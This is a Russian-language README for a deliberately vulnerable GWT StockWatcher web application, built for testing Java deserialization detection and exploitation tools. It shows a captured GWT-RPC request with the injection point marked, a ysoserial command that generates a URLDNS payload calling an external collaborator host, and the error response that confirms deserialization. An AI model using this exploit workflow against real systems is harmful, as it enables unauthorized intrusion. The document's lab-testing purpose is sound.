
Преднамеренно уязвимое веб-приложение на основе GWT для проверки инструментов и методик
Это версия примера приложения StockWatcher, описанного в руководстве по началу работы с GWT, которая была изменена для использования функции «enhanced classes» GWT, что делает её уязвимой к атаке десериализации Java. Она должна использоваться только для тестирования инструментов обнаружения и эксплуатации. Enhanced classes часто используются в реальных приложениях на основе GWT, но до публикации этого примера не существовало легко доступных веб-приложений с открытым исходным кодом, которые специалисты по безопасности могли бы использовать для проверки своих инструментов и методик.
Для запуска веб-приложения вам понадобится Linux-система со следующими инструментами:
openjdk-11-jreant (установите с помощью менеджера пакетов вашего дистрибутива)Приложению требуется ряд JAR-файлов, которые слишком велики, чтобы включать их непосредственно в систему управления исходным кодом GitHub, поэтому самый простой способ начать работу — загрузить последний пакет со страницы релизов и распаковать его.
После распаковки релиза отредактируйте эту строку в build.xml, заменив /home/user/GWT/gwt-2.10.0 на каталог вашего GWT SDK:
Находясь в каталоге исходного кода, выполните следующие команды:
ant build
ant devmode
Это запустит уязвимое веб-приложение и сделает его доступным по адресу http://127.0.0.1:8888/StockWatcher.html.
Обратите внимание: если вы перенаправляете трафик к локальному сервису, чтобы сделать его доступным удалённо, вам также следует перенаправить порт 9876 в дополнение к 8888.
Если вы хотите клонировать этот репозиторий и запустить приложение без загрузки релиза, после клонирования вам нужно будет загрузить и добавить следующие сторонние JAR-файлы в каталог lib:
Вам также потребуется скопировать следующие JAR-файлы GWT из вашего каталога GWT (например, gwt-2.10.0/) в каталог lib для этого уязвимого приложения:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarПосле копирования всех этих JAR-файлов выполните остальные шаги из раздела «Быстрый старт» выше.
Используя веб-браузер, настроенный на подключение через перехватывающий прокси-сервер (например, Burp Suite), загрузите URL http://127.0.0.1:8888/StockWatcher.html.
Страница сначала покажет сообщение «compiling». Подождите, пока не отобразится эта простая форма:
Введите в поле короткую строку, например BFOX, затем нажмите кнопку Add. Страница должна начать отображать случайные обновления для смоделированного символа акции:
В истории вашего перехватывающего прокси обратите внимание, что ваш браузер теперь многократно отправляет POST-запросы на http://127.0.0.1:8888/stockwatcher/checkCustomClass1, аналогичные следующему:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Base64-кодированные двоичные данные rO0ABXcEAAAAAA== являются уязвимой точкой внедрения в запросе. Чтобы эксплуатировать веб-приложение, вам нужно сгенерировать заменяющую полезную нагрузку. Например, чтобы сгенерировать полезную нагрузку URLDNS с помощью настроенной версии ysoserial от Bishop Fox, вы можете выполнить следующую команду:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Отправьте изменённую версию запроса, заменив rO0ABXcEAAAAAA== на сгенерированную полезную нагрузку, и уязвимое приложение должно десериализовать и активировать её. В дополнение к любому действию, вызываемому полезной нагрузкой, ответ также должен содержать NoSuchFieldException, связанное с именем поля, если значение было десериализовано, например, при использовании имени bishopfox из примера выше:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Если вы использовали готовый релиз уязвимого веб-приложения или вручную добавили все упомянутые выше JAR-файлы в собственную сборку, вы сможете (как минимум) использовать против веб-приложения следующие полезные нагрузки:
На момент написания этого текста основная версия ysoserial не поддерживала вывод в формате GWT, поэтому обязательно используйте специальный форк.